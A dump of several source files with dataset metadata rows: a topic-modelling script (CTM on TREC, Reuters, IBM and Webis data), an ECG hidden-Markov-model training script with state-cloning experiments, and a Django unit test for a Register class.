from contextualized_topic_models.utils.data_preparation import TextHandler
from contextualized_topic_models.utils.data_preparation import bert_embeddings_from_list
from contextualized_topic_models.datasets.dataset import CTMDataset
import pandas as pd
import numpy as np
import argparse
import logging
logging.basicConfig(level=logging.DEBUG)
parser = argparse.ArgumentParser()
parser.add_argument("--input")
parser.add_argument("--dataset")
parser.add_argument("--epochs", default=10, type=int)
args = parser.parse_args()
if args.dataset == "trec":
df = pd.read_csv(args.input, sep="\t")
texts = list(df['full_text'].values)
ids = list(df['tweetId'].values)
nr_topics = len(df['topicId'].unique())
elif args.dataset == "reuters":
df = pd.read_json(args.input, orient='records', lines=True)
texts = list(df['title'].values)
ids = list(df['identifier'].values)
nr_topics = len(df['topicId'].unique())
elif args.dataset == "ibm":
df = pd.read_csv(args.input, sep="\t")
ids_all = []
predictions_all = []
for i, topic in enumerate(df["topic"].unique()):
ddf = df[df["topic"] == topic]
texts = list(ddf['argument'].values)
ids = list(ddf['argumentId'].values)
nr_topics = len(ddf["keypoint_id"].unique())
handler = TextHandler(texts)
handler.prepare() # create vocabulary and training data
# load BERT data
training_bert = bert_embeddings_from_list(texts, 'bert-base-nli-mean-tokens')
training_dataset = CTMDataset(handler.bow, training_bert, handler.idx2token)
ctm = CTM(input_size=len(handler.vocab), bert_input_size=768, num_epochs=args.epochs, inference_type="combined",
n_components=nr_topics, num_data_loader_workers=5)
ctm.fit(training_dataset) # run the model
distribution = ctm.get_thetas(training_dataset)
best_match_topics = np.argmax(distribution, axis=1)
# collect ids and predictions
ids_all += ids
predictions_all += best_match_topics
print(len(predictions_all), len(ids_all))
with open('predictions_CTM_' + args.dataset + '.txt', 'w') as fp:
for ID, topicId in zip(ids_all, predictions_all):
fp.write(str(ID) + ' ' + str(topicId) + '\n')
exit()
elif args.dataset == "webis":
df = pd.read_csv(args.input, sep="\t")
ids_all = []
predictions_all = []
for i, topic in enumerate(df["topic_id"].unique()):
ddf = df[df["topic_id"] == topic]
texts = list(ddf['conclusion'].values)
ids = list(ddf['argument_id'].values)
nr_topics = len(ddf["frame_id"].unique())
handler = TextHandler(texts)
handler.prepare() # create vocabulary and training data
# load BERT data
training_bert = bert_embeddings_from_list(texts, 'bert-base-nli-mean-tokens')
training_dataset = CTMDataset(handler.bow, training_bert, handler.idx2token)
ctm = CTM(input_size=len(handler.vocab), bert_input_size=768, num_epochs=args.epochs, inference_type="combined",
n_components=nr_topics, num_data_loader_workers=5)
ctm.fit(training_dataset) # run the model
distribution = ctm.get_thetas(training_dataset)
best_match_topics = np.argmax(distribution, axis=1)
# collect ids and predictions
ids_all += ids
predictions_all += best_match_topics
print(len(predictions_all), len(ids_all))
with open('predictions_CTM_' + args.dataset + '.txt', 'w') as fp:
for ID, topicId in zip(ids_all, predictions_all):
fp.write(str(ID) + ' ' + str(topicId) + '\n')
exit()
else:
print('not implemented yet')
exit()
print('nr of data samples:', len(texts))
print('nr topics:', nr_topics)
handler = TextHandler(texts)
handler.prepare() # create vocabulary and training data
# load BERT data
training_bert = bert_embeddings_from_list(texts, 'bert-base-nli-mean-tokens')
training_dataset = CTMDataset(handler.bow, training_bert, handler.idx2token)
ctm = CTM(input_size=len(handler.vocab), bert_input_size=768, num_epochs=args.epochs, inference_type="combined",
n_components=nr_topics, num_data_loader_workers=5)
ctm.fit(training_dataset) # run the model
distribution = ctm.get_thetas(training_dataset)
best_match_topics = np.argmax(distribution, axis=1)
with open('predictions_CTM_' + args.dataset + '.txt', 'w') as fp:
for ID, topicId in zip(ids, best_match_topics):
fp.write(str(ID) + ' ' + str(topicId) + '\n')
| 36.768
| 120
| 0.68255
| 613
| 4,596
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| 0.215334
| 0.023889
| 0.029861
| 0.038487
| 0.750498
| 0.725282
| 0.725282
| 0.717651
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| 0
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| 4,596
| 124
| 121
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| 1
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| 0
| 0.087912
| 0
| 0.087912
| 0.054945
| 0
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| null | 0
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0
| 4
|
f7e4b43c4d447fdaa920ba0791c35c28098592ee
| 27,706
|
py
|
Python
|
ecg/ecg_hmm.py
|
karolciba/playground
|
bfba14eaacfb6e7f820b85f95d9a1a72e251489e
|
[
"Unlicense"
] | null | null | null |
ecg/ecg_hmm.py
|
karolciba/playground
|
bfba14eaacfb6e7f820b85f95d9a1a72e251489e
|
[
"Unlicense"
] | null | null | null |
ecg/ecg_hmm.py
|
karolciba/playground
|
bfba14eaacfb6e7f820b85f95d9a1a72e251489e
|
[
"Unlicense"
] | null | null | null |
#!/usr/bin/env python
#
# changes to hmmlearn:
# 0. negative delta doesnt end
# 1. prevent overfitting by not allowing for setting transition prob to 0
# ideas:
# 0. negative delta in logprobability is not wrong - it means model is rebuilding
# lower train signal probability is exchange for better distribution (?)
# validate model change not logprob
# after minus often returns to big pluses
# 1. init means with real signal (not much gain :(
# 2. start with small model and double after each convergence (something positive)
# 3. find unprobable states and randomize them - to escape local minima ?
# 3.1 change least unprobable states (not used in pred) and change for best matched
# - in naive way (replace row, replace mean, max covar from existing)
# doesnt work.
# 3.2 replace not used states to random state from used-ones (weighted?) and
# fix transitions to those to states - setting them to 1/2 of original
# slightly moving away means (by 10%?)
# 3.3 do not fix unused for small nets or/and when states have similar transitions
# for small nets whole model seems like Gaussian Mixture in disguise
# for similar transitions change seems not doing anything good
# 3.4 fix issues with convergence (consider negative delta?)
# 4. gradient descent/meadow path etc
# 5. reinforment? - find most probable for subsequence and strenghten it ?
# which is attempt to minimize -> argmin Var( P(state | model, data ) in function of model
# trying to maximize information density carried by model, in attemp to
# achieve each state utilization equal
import wfdb
# import hmm
import numpy as np
import matplotlib.pyplot as plt
import pickle
from hmmlearn import hmm
from hmmlearn import utils
from sklearn.externals import joblib
def preprocess(decimation = 8):
print("Preprocessing")
sig, fields = wfdb.srdsamp('data/mitdb/100')
# ecg = sig[:500000,0]
ecg = sig[:,0]
from scipy import signal
# eorig = signal.resample(eorig, len(eorig))
if decimation != 0:
ecg = signal.decimate(ecg, decimation, ftype='fir')
diff = np.diff(ecg)
cum = 0
filtered = np.empty_like(ecg)
for i in range(len(diff)):
cum *= 0.9
cum += diff[i]
filtered[i] = cum
return ecg[:-1],diff,filtered[:-1]
def latest_backup():
import os
import re
files = os.listdir('.')
pkl = [ f for f in files if re.match('model.*.pkl$',f) ]
if not pkl:
return None
srt = sorted(pkl)
f_name = srt[-1]
print("Loading model", f_name)
model = joblib.load(f_name)
return model
def plot(model, div = 8):
ecg, diff, filt = preprocess(div)
# e = np.atleast_2d(eorig).T
# sube = np.atleast_2d(eorig[0:3000]).T
e = diff[:10000].reshape(-1,1)
# e = np.column_stack((diff,filt))
sube = e[:3000]
plt.clf()
plt.subplot(411)
plt.imshow(model.transmat_,interpolation='nearest', shape=model.transmat_.shape)
ax = plt.subplot(412)
plt.plot(e[0:3000])
plt.plot(ecg[:3000])
# plt.imshow(model.emissions,interpolation='nearest', shape=model.emissions.shape)
plt.subplot(413, sharex = ax)
model.algorithm = 'viterbi'
plt.plot(model.predict(sube))
model.algorithm = 'map'
plt.plot(model.predict(sube))
plt.subplot(414, sharex = ax)
samp = model.sample(3000)[0]
plt.plot(samp)
plt.plot(np.cumsum(samp[:,0]))
plt.show()
plt.pause(1)
def model_plot(model):
plt.clf()
plt.subplot(121)
plt.imshow(model.transmat_)
plt.subplot(122)
plt.plot(model.means_.flatten())
plt.plot(model.covars_.flatten())
plt.show()
plt.pause(1)
def diff_plot(model,previous):
plt.clf()
ax = plt.subplot(221)
plt.imshow(model.transmat_)
plt.subplot(222, sharex = ax, sharey = ax)
plt.imshow(model.transmat_ - previous.transmat_)
ax = plt.subplot(223)
plt.plot(model.means_)
plt.plot(model.means_ - previous.means_)
plt.subplot(224, sharex = ax)
plt.plot(model._covars_)
plt.plot(model._covars_ - previous._covars_)
def states_plot(model,div=8):
ecg, diff, filt = preprocess(div)
# e = np.atleast_2d(eorig).T
# sube = np.atleast_2d(eorig[0:3000]).T
e = diff[:3000].reshape(-1,1)
logprob, posterior = model.score_samples(e)
plt.clf()
ax = plt.subplot(211)
plt.plot(e)
plt.subplot(212,sharex=ax)
plt.imshow(posterior.T, aspect='auto')
def usage_plot(model,div=8):
ecg, diff, filt = preprocess(div)
# e = np.atleast_2d(eorig).T
# sube = np.atleast_2d(eorig[0:3000]).T
e = diff[:10000].reshape(-1,1)
logprob, posterior = model.score_samples(e)
usage = np.sum(posterior.T,axis=1)
# plt.clf()
plt.plot(np.sort(usage)/float(sum(usage)))
def clone_model(model):
from sklearn.externals import joblib
joblib.dump(model,"/tmp/foobarmodel.pkl")
return joblib.load("/tmp/foobarmodel.pkl")
def double_model(model):
symbols = model.n_components
n_symbols = 2 * symbols
n_model = hmm.GaussianHMM(n_components=n_symbols, verbose=True, min_covar=0.01, init_params='', n_iter = model.n_iter, covariance_type="diag", tol=model.tol)
transmat_ = np.random.random((n_symbols,n_symbols))/1000
transmat_[0:symbols,0:symbols] = model.transmat_
transmat_[symbols:n_symbols,symbols:n_symbols] = model.transmat_
# unbalance it slightly
transmat_ += np.random.random((n_symbols,n_symbols))/1000
n_model.transmat_ = transmat_
utils.normalize(n_model.transmat_, 1)
n_model.startprob_ = np.concatenate((model.startprob_, model.startprob_))
utils.normalize(n_model.startprob_)
n_model.means_ = np.concatenate((model.means_, model.means_))
n_model._covars_ = np.concatenate((model._covars_, model._covars_))
return n_model
def train(model = None):
# backup: symbols = 128, div = 1
# symbols = 128
symbols = 1024
div = 8
ecg, diff, filt = preprocess(div)
# e = np.atleast_2d(eorig).T
# sube = np.atleast_2d(eorig[0:3000]).T
# e = np.column_stack((diff,filt))
e = diff[:10000].reshape(-1,1)
sube = e[:3000]
# eps = np.finfo(np.float64).eps
import sys
eps = sys.float_info.min * symbols
eps = 2e-290
plt.ion()
plt.clf()
plt.plot(e[0:3000])
# plt.subplot(311)
# plt.imshow(model.transmat_,interpolation='nearest', shape=model.transitions.shape)
# plt.subplot(312)
# plt.imshow(model.,interpolation='nearest', shape=model.emissions.shape)
# plt.subplot(313)
# plt.plot(sampl)
plt.show()
plt.pause(1)
if not model:
model = hmm.GaussianHMM(n_components=symbols, verbose=True, min_covar=0.01, init_params='cmts', n_iter = 100, tol = 1, covariance_type="diag")
# left to right model, not staying in state but can jump to start
# transmat_ = np.triu(np.random.random((symbols,symbols)),1)
# transmat_[0,0] = 0
# transmat_[:,0] = 1.0/symbols
# model.transmat_ = transmat_
# utils.normalize(model.transmat_, 1)
# transmat_ = np.random.random((symbols,symbols))/10
# # transmat_ += np.roll(np.eye(symbols),1,1)
# model.transmat_ = transmat_
# utils.normalize(model.transmat_, 1)
# model.means_ = np.random.random((symbols,1))
# model.means_ = e[0:symbols].reshape(-1,1)
# model.covars_ = np.random.random((symbols,1))
# model = hmm.GMMHMM(n_components=symbols, verbose=True, n_iter = 10, covariance_type="full")
else:
plot(model, div)
import os
import re
files = os.listdir('.')
pkl = [ f for f in files if re.match('model.*.pkl$',f) ]
srt = sorted(pkl)
i = len(srt)
# plt.savefig("out{}.png".format(i))
# try:
best_model = clone_model(model)
best_score = -999999999999.0
print("\nIteration {}".format(i))
while True:
i += 1
model.fit(e)
model.init_params = ''
joblib.dump(model, "model{:06d}.pkl".format(i))
# print(model.transmat_)
plt.clf()
plt.subplot(411)
plt.imshow(model.transmat_,interpolation='nearest', shape=model.transmat_.shape)
ax = plt.subplot(412)
plt.plot(e[0:3000])
# plt.imshow(model.emissions,interpolation='nearest', shape=model.emissions.shape)
plt.subplot(413, sharex = ax)
plt.plot(model.predict(sube))
plt.subplot(414, sharex = ax)
samp = model.sample(3000)[0]
plt.plot(samp)
plt.plot(np.cumsum(samp[:,0]))
plt.show()
plt.pause(0.001)
plt.savefig("out{:06d}.png".format(i))
# score = model.monitor_.history[1]
# if score > best_score:
# print("Found better {} than {}, switching".format(score,best_score))
# best_score = score
# best_model = clone_model(model)
# else:
# model = best_model
# hist = model.monitor_.history
# if abs(hist[0] - hist[1]) < 0.01:
# break
fix_unused(model,e)
# model.transmat_[model.transmat_ <= eps] = eps
# utils.normalize(model.transmat_, 1)
# except:
# pass
return model
def recursive_train(model = None):
while True:
model = train(model)
print("doubling model",model.n_components)
model = double_model(model)
def reorder_usage(model, div = 8):
ecg, diff, filt = preprocess(div)
e = diff[:10000].reshape(-1,1)
logprob, posterior = model.score_samples(e)
usage = np.sum(posterior.T,axis=1)
keys = np.flip(np.argsort(usage),axis=0)
model.means_ = model.means_[keys]
model._covars_ = model._covars_[keys]
model.startprob_ = model.startprob_[keys]
model.transmat_ = model.transmat_[keys]
model.transmat_[:,:] = model.transmat_[:,keys]
def reorder_model(model, div = 8):
ecg, diff, filt = preprocess(div)
# e = np.atleast_2d(eorig).T
# sube = np.atleast_2d(eorig[0:3000]).T
e = diff[:10000].reshape(-1,1)
# e = np.column_stack((diff,filt))
# sube = e[:3000]
pred = model.predict(e)
bc = np.bincount(pred,minlength=model.n_components)
keys = np.flip(np.argsort(bc),axis=0)
model.means_ = model.means_[keys]
model._covars_ = model._covars_[keys]
model.startprob_ = model.startprob_[keys]
model.transmat_ = model.transmat_[keys]
model.transmat_[:,:] = model.transmat_[:,keys]
def fix_unused(model, signal):
# """Unused states decided MAP or viterbi usage"""
# model.algorithm = 'map'
# pred = model.predict(signal)
# usage = np.bincount(pred,minlength=model.n_components)
# treshold = np.sort(usage)[model.n_components//10]
#
# ids = np.argwhere(usage <= treshold).flatten()
# used = np.argwhere(usage > treshold).flatten()
# probs = usage/float(sum(usage))
# """Unused states decided on average state probability"""
# logprob, posterior = model.score_samples(signal)
# usage = np.sum(posterior.T,axis=1)
# treshold = np.sort(usage)[model.n_components//10]
# ids = np.argwhere(usage <= treshold).flatten()
# used = np.argwhere(usage > treshold).flatten()
#
# probs = usage/float(sum(usage))
"""Unused states decided on average state probability"""
logprob, posterior = model.score_samples(signal)
usage = np.sum(posterior.T,axis=1)
# treshold = np.sort(usage)[model.n_components//10]
# ids = np.argwhere(usage <= treshold).flatten()
# used = np.argwhere(usage > treshold).flatten()
probs = usage/float(sum(usage))
ids = np.argwhere(probs <= 0.001).flatten()
used = np.argwhere(probs > 0.001).flatten()
mapped = {}
# model.algorithm = 'map'
import random
import sklearn.mixture
print("There are {} used and {} unsued".format(len(used),len(ids)))
ids = ids[0:len(used)]
print("After clipping there are {} used and {} unused".format(len(used),len(ids)))
for id in ids:
# replace_id = np.random.choice(used)
# randomly select node to clone according to its "information weight"
# replace_id = np.random.choice(model.n_components,p=probs)
replace_id = random.choices(range(model.n_components),weights=probs)[0]
mapped[id] = [replace_id, int(probs[id]*1000)/1000, int(probs[replace_id]*1000)/1000, int(model.transmat_[replace_id,replace_id]*1000)/1000]
# if (np.sum(model.transmat_[:,replace_id])) > 3):
# unroll thight self loop
if model.transmat_[replace_id,replace_id] > 0.1:
# can clone this state any more
probs[replace_id] = 0
probs[id] = probs[replace_id]
mapped[id].append('s')
in_trans = model.transmat_[:,id].copy()
model.transmat_[id,:] = model.transmat_[replace_id,:]
model.transmat_[replace_id,id] += model.transmat_[replace_id,replace_id]
model.transmat_[id,id] += model.transmat_[replace_id,replace_id]
model.transmat_[replace_id,replace_id] = 2e-290
# staing in giver state is forbidden
# in place of that transit to cloned state
# model.transmat_[replace_id,id] += model.transmat_[replace_id,replace_id]
# model.transmat_[replace_id,replace_id] = 0.0001
utils.normalize(model.transmat_, 1)
model.startprob_[replace_id] /= 2.
model.startprob_[id] += model.startprob_[replace_id]
model.means_[id] = model.means_[replace_id]
# diverge them slighly to cover more ground
# model.means_[replace_id] *= 1.001
model._covars_[id] = model._covars_[replace_id]
#TODO: unroll longer loops
#refit to general node
# to many ins, to many out, to large emission - coverage
elif random.random() > 0.5:
# lower prob of used node
# allow cloning of both
probs[replace_id] /= 2
probs[id] = probs[replace_id]
size = model.n_components
ord = np.random.binomial(1,0.5,model.n_components)
nord = 1 - ord
mapped[id].append('i')
in_trans = model.transmat_[:,id].copy()
# clone the not used node
# out transitions (row) like in original
model.transmat_[id,:] = model.transmat_[replace_id,:]
# in trasitions (column) half for each of two (original and clone)
model.transmat_[:,id][ord == 1] = model.transmat_[:,replace_id][ord == 1]
model.transmat_[:,id][ord == 0] = 2e-290
model.transmat_[:,replace_id][ord == 1] = 2e-290
# original trans should be small, add to them to keep row normalization to 1
utils.normalize(model.transmat_, 1)
model.startprob_[replace_id] /= 2.
model.startprob_[id] += model.startprob_[replace_id]
model.means_[id] = model.means_[replace_id]
model._covars_[id] = model._covars_[replace_id]
else:
# lower prob of used node
# allow cloning of both
probs[replace_id] /= 2
probs[id] = probs[replace_id]
size = model.n_components
ord = np.random.binomial(1,0.5,model.n_components)
nord = 1 - ord
mapped[id].append('o')
in_trans = model.transmat_[:,id].copy()
# clone the not used node
# out transitions (row) like in original
model.transmat_[id,:][ord == 1] = model.transmat_[replace_id,:][ord == 1]
model.transmat_[id,:][ord == 0] = 2e-290
model.transmat_[replace_id,:][ord == 1] = 2e-290
# in trasitions (column) half for each of two (original and clone)
model.transmat_[:,replace_id] /= 2.
model.transmat_[:,id] = in_trans/2. + model.transmat_[:,replace_id]
# model.transmat_[:,replace_id] += in_trans/2.
# original trans should be small, add to them to keep row normalization to 1
utils.normalize(model.transmat_, 1)
model.startprob_[replace_id] /= 2.
model.startprob_[id] += model.startprob_[replace_id]
model.means_[id] = model.means_[replace_id]
model._covars_[id] = model._covars_[replace_id]
print("fixed no nodes",len(ids), mapped)
def fix_unused_to_big_covar(model, signal):
pred = model.predict(signal)
bc = np.bincount(pred,minlength=model.n_components)
max_id = np.argmax(bc)
max_covar_id = np.argmax(model.covars_)
ids = np.argwhere(model._covars_.flatten() > 100).flatten()
used = np.argwhere(bc != 0).flatten()
probs = bc/float(sum(bc))
mapped = {}
# model.algorithm = 'map'
import random
import sklearn.mixture
ids = ids[0:len(used)]
for id in ids:
# replace_id = np.random.choice(used)
# randomly select node to clone according to its "information weight"
# replace_id = np.random.choice(model.n_components,p=probs)
replace_id = random.choices(range(model.n_components),weights=bc)[0]
mapped[id] = [replace_id, 2*bc[replace_id], int(model.transmat_[replace_id,replace_id]*1000)/1000]
# lower prob of used node
# allow cloning of both
bc[replace_id] //= 2
bc[id] = bc[replace_id]
size = model.n_components
ord = np.random.binomial(1,0.5,model.n_components)
nord = 1 - ord
mapped[id].append('g')
in_trans = model.transmat_[:,id].copy()
# clone the not used node
# out transitions (row) like in original
model.transmat_[id,ord] = model.transmat_[replace_id,ord]
model.transmat_[id,nord] = 2e-290
model.transmat_[replace_id,ord] = 2e-290
# in trasitions (column) half for each of two (original and clone)
model.transmat_[:,replace_id] /= 2.
model.transmat_[:,id] = in_trans/2. + model.transmat_[:,replace_id]
# model.transmat_[:,replace_id] += in_trans/2.
# original trans should be small, add to them to keep row normalization to 1
utils.normalize(model.transmat_, 1)
model.startprob_[replace_id] /= 2.
model.startprob_[id] += model.startprob_[replace_id]
# try:
# gmm = sklearn.mixture.GMM(n_components=2, verbose=False)
# gmm.fit(signal[pred == replace_id])
# model.means_[id] = gmm.means_[0]
# model.means_[replace_id] = gmm.means_[1]
# model._covars_[id] = gmm.covars_[0]
# model._covars_[replace_id] = gmm.covars_[1]
# except:
model.means_[id] = model.means_[replace_id]
# diverge them slighly to cover more ground
# model.means_[replace_id] *= 1.001
model._covars_[id] = model._covars_[replace_id]
print("fixed no nodes",len(ids), mapped)
def fix_unused_best(model, signal):
pred = model.predict(signal)
bc = np.bincount(pred,minlength=model.n_components)
max_id = np.argmax(bc)
max_covar_id = np.argmax(model.covars_)
ids = np.argwhere(bc == 0).flatten()
used = np.argwhere(bc != 0).flatten()
probs = bc/float(sum(bc))
mapped = {}
# model.algorithm = 'map'
import random
import sklearn.mixture
ids = ids[0:len(used)]
for id in ids:
# replace_id = np.random.choice(used)
# randomly select node to clone according to its "information weight"
# replace_id = np.random.choice(model.n_components,p=probs)
replace_id = random.choices(range(model.n_components),weights=bc)[0]
mapped[id] = [replace_id, 2*bc[replace_id], int(model.transmat_[replace_id,replace_id]*1000)/1000]
# if (np.sum(model.transmat_[:,replace_id])) > 3):
# unroll thight self loop
if model.transmat_[replace_id,replace_id] > 0.1:
# can clone this state any more
bc[replace_id] = 0
bc[id] = bc[replace_id]
mapped[id].append('s')
in_trans = model.transmat_[:,id].copy()
model.transmat_[id,:] = model.transmat_[replace_id,:]
model.transmat_[replace_id,id] += model.transmat_[replace_id,replace_id]
model.transmat_[id,id] += model.transmat_[replace_id,replace_id]
model.transmat_[replace_id,replace_id] = 2e-290
# staing in giver state is forbidden
# in place of that transit to cloned state
# model.transmat_[replace_id,id] += model.transmat_[replace_id,replace_id]
# model.transmat_[replace_id,replace_id] = 0.0001
utils.normalize(model.transmat_, 1)
model.startprob_[replace_id] /= 2.
model.startprob_[id] += model.startprob_[replace_id]
model.means_[id] = model.means_[replace_id]
# diverge them slighly to cover more ground
# model.means_[replace_id] *= 1.001
model._covars_[id] = model._covars_[replace_id]
#TODO: unroll longer loops
#refit to general node
# to many ins, to many out, to large emission - coverage
else:
# lower prob of used node
# allow cloning of both
bc[replace_id] //= 2
bc[id] = bc[replace_id]
size = model.n_components
ord = np.random.binomial(1,0.5,model.n_components)
nord = 1 - ord
mapped[id].append('g')
in_trans = model.transmat_[:,id].copy()
# clone the not used node
# out transitions (row) like in original
model.transmat_[id,ord] = model.transmat_[replace_id,ord]
model.transmat_[id,nord] = 2e-290
model.transmat_[replace_id,ord] = 2e-290
# in trasitions (column) half for each of two (original and clone)
model.transmat_[:,replace_id] /= 2.
model.transmat_[:,id] = in_trans/2. + model.transmat_[:,replace_id]
# model.transmat_[:,replace_id] += in_trans/2.
# original trans should be small, add to them to keep row normalization to 1
utils.normalize(model.transmat_, 1)
model.startprob_[replace_id] /= 2.
model.startprob_[id] += model.startprob_[replace_id]
# try:
# gmm = sklearn.mixture.GMM(n_components=2, verbose=False)
# gmm.fit(signal[pred == replace_id])
# model.means_[id] = gmm.means_[0]
# model.means_[replace_id] = gmm.means_[1]
# model._covars_[id] = gmm.covars_[0]
# model._covars_[replace_id] = gmm.covars_[1]
# except:
model.means_[id] = model.means_[replace_id]
# diverge them slighly to cover more ground
# model.means_[replace_id] *= 1.001
model._covars_[id] = model._covars_[replace_id]
print("fixed no nodes",len(ids), mapped)
def fix_unused_unroll(model, signal):
pred = model.predict(signal)
bc = np.bincount(pred,minlength=model.n_components)
max_id = np.argmax(bc)
max_covar_id = np.argmax(model.covars_)
ids = np.argwhere(bc == 0).flatten()
used = np.argwhere(bc != 0).flatten()
probs = bc/float(sum(bc))
mapped = {}
import random
import sklearn.mixture
ids = ids[0:len(used)]
for id in ids:
# replace_id = np.random.choice(used)
# randomly select node to clone according to its "information weight"
# replace_id = np.random.choice(model.n_components,p=probs)
replace_id = random.choices(range(model.n_components),weights=bc)[0]
mapped[id] = (replace_id, 2*bc[replace_id])
# lower prob of used node
bc[replace_id] = 0
# this will make:
# cloned states for clone fail in GMixture, and make a identical copy
# cloned states from origin to have same GMixture, and idendical copy as well
# TODO: if thats okay - store relation and avoid refitting GMixture
bc[id] = bc[replace_id]
in_trans = model.transmat_[:,id].copy()
model.transmat_[id,:] = model.transmat_[replace_id,:]
model.transmat_[replace_id,id] += model.transmat_[replace_id,replace_id]
model.transmat_[id,id] += model.transmat_[replace_id,replace_id]
model.transmat_[replace_id,replace_id] = 2e-290
# staing in giver state is forbidden
# in place of that transit to cloned state
# model.transmat_[replace_id,id] += model.transmat_[replace_id,replace_id]
# model.transmat_[replace_id,replace_id] = 0.0001
utils.normalize(model.transmat_, 1)
model.startprob_[replace_id] /= 2.
model.startprob_[id] += model.startprob_[replace_id]
model.means_[id] = model.means_[replace_id]
# diverge them slighly to cover more ground
# model.means_[replace_id] *= 1.001
model._covars_[id] = model._covars_[replace_id]
print("fixed no nodes",len(ids), mapped)
def fix_unused_fair(model, signal):
pred = model.predict(signal)
bc = np.bincount(pred,minlength=model.n_components)
max_id = np.argmax(bc)
max_covar_id = np.argmax(model.covars_)
ids = np.argwhere(bc == 0).flatten()
used = np.argwhere(bc != 0).flatten()
probs = bc/float(sum(bc))
mapped = {}
import random
import sklearn.mixture
for id in ids:
# replace_id = np.random.choice(used)
# randomly select node to clone according to its "information weight"
# replace_id = np.random.choice(model.n_components,p=probs)
replace_id = random.choices(range(model.n_components),weights=bc)[0]
# lower prob of used node
bc[replace_id] //= 2
# this will make:
# cloned states for clone fail in GMixture, and make a identical copy
# cloned states from origin to have same GMixture, and idendical copy as well
# TODO: if thats okay - store relation and avoid refitting GMixture
bc[id] = bc[replace_id]
mapped[id] = (replace_id, 2*bc[replace_id])
in_trans = model.transmat_[:,id].copy()
# clone the not used node
# out transitions (row) like in original
model.transmat_[id,:] = model.transmat_[replace_id,:]
# model.transmat_[id,replace_id] = node_trans
# model.means_[replace_id] *= 0.99
# in trasitions (column) half for each of two (original and clone)
model.transmat_[:,replace_id] /= 2.
# original trans should be small, add to them to keep row normalization to 1
model.transmat_[:,id] = in_trans + model.transmat_[:,replace_id]
# staing in giver state is forbidden
# in place of that transit to cloned state
# model.transmat_[replace_id,id] += model.transmat_[replace_id,replace_id]
# model.transmat_[replace_id,replace_id] = 0.0001
utils.normalize(model.transmat_, 1)
model.startprob_[replace_id] /= 2.
model.startprob_[id] += model.startprob_[replace_id]
try:
gmm = sklearn.mixture.GMM(n_components=2, verbose=False)
gmm.fit(signal[pred == replace_id])
model.means_[id] = gmm.means_[0]
model.means_[replace_id] = gmm.means_[1]
model._covars_[id] = gmm.covars_[0]
model._covars_[replace_id] = gmm.covars_[1]
except:
model.means_[id] = model.means_[replace_id]
# diverge them slighly to cover more ground
# model.means_[replace_id] *= 1.001
model._covars_[id] = model._covars_[replace_id]
print("fixed no nodes",len(ids), mapped)
| 35.159898
| 161
| 0.624774
| 3,718
| 27,706
| 4.492738
| 0.118343
| 0.089978
| 0.065852
| 0.072438
| 0.757184
| 0.720726
| 0.70552
| 0.702826
| 0.683489
| 0.664511
| 0
| 0.02756
| 0.249585
| 27,706
| 787
| 162
| 35.204574
| 0.775865
| 0.342994
| 0
| 0.656489
| 0
| 0
| 0.019921
| 0
| 0
| 0
| 0
| 0.001271
| 0
| 1
| 0.045802
| false
| 0
| 0.061069
| 0
| 0.122137
| 0.02799
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
f7f68de11fd3abc131df58726f6e8bb32b5243b2
| 2,062
|
py
|
Python
|
tests/main_app/business/test_register.py
|
ricardochaves/financeiro-bot
|
2c48be4355e3c8630c36aa846c16042f22b88271
|
[
"MIT"
] | 4
|
2020-01-21T00:21:44.000Z
|
2021-06-15T19:38:36.000Z
|
tests/main_app/business/test_register.py
|
ricardochaves/financeiro-bot
|
2c48be4355e3c8630c36aa846c16042f22b88271
|
[
"MIT"
] | 173
|
2019-11-18T08:19:44.000Z
|
2021-09-08T01:37:19.000Z
|
tests/main_app/business/test_register.py
|
ricardochaves/financeiro-bot
|
2c48be4355e3c8630c36aa846c16042f22b88271
|
[
"MIT"
] | 3
|
2020-01-28T19:19:35.000Z
|
2021-05-01T02:33:36.000Z
|
from base_site.mainapp.business.register import Register
from django.test import TestCase
from tests.helper import create_scenario_with_two_commands_complete_and_empty
class RegisterClassTestCase(TestCase):
def setUp(self):
self.category, self.family_member, self.type_entry, self.empty_command, self.completed_command = (
create_scenario_with_two_commands_complete_and_empty()
)
def test_should_return_true_for_all_options(self):
register = Register(self.empty_command)
self.assertFalse(register.need_payment_installments())
self.assertTrue(register.need_entry_date())
self.assertTrue(register.need_payment_date())
self.assertTrue(register.need_debit())
self.assertTrue(register.need_credit())
self.assertTrue(register.need_category())
self.assertTrue(register.need_name())
self.assertTrue(register.need_description())
self.assertTrue(register.need_type())
self.empty_command.payment_date = 2
self.assertTrue(register.need_payment_installments())
self.assertTrue(register.need_entry_date())
self.assertFalse(register.need_payment_date())
self.assertTrue(register.need_debit())
self.assertTrue(register.need_credit())
self.assertTrue(register.need_category())
self.assertTrue(register.need_name())
self.assertTrue(register.need_description())
self.assertTrue(register.need_type())
def test_should_return_false_for_all_options(self):
register = Register(self.completed_command)
self.assertFalse(register.need_payment_installments())
self.assertFalse(register.need_entry_date())
self.assertFalse(register.need_payment_date())
self.assertFalse(register.need_debit())
self.assertFalse(register.need_credit())
self.assertFalse(register.need_category())
self.assertFalse(register.need_name())
self.assertFalse(register.need_description())
self.assertFalse(register.need_type())
| 40.431373
| 106
| 0.728904
| 231
| 2,062
| 6.199134
| 0.21645
| 0.226257
| 0.24581
| 0.290503
| 0.655028
| 0.622207
| 0.622207
| 0.570531
| 0.452514
| 0.452514
| 0
| 0.000586
| 0.172163
| 2,062
| 50
| 107
| 41.24
| 0.838313
| 0
| 0
| 0.45
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.675
| 1
| 0.075
| false
| 0
| 0.075
| 0
| 0.175
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
791f72ed366da21c553d94807fe381e6f88bbeef
| 663
|
py
|
Python
|
clubCalendar/clubs/models.py
|
heet9201/clubCalendar
|
cc221115b5dcd1a5d2236a8eee184b23140c551a
|
[
"MIT"
] | null | null | null |
clubCalendar/clubs/models.py
|
heet9201/clubCalendar
|
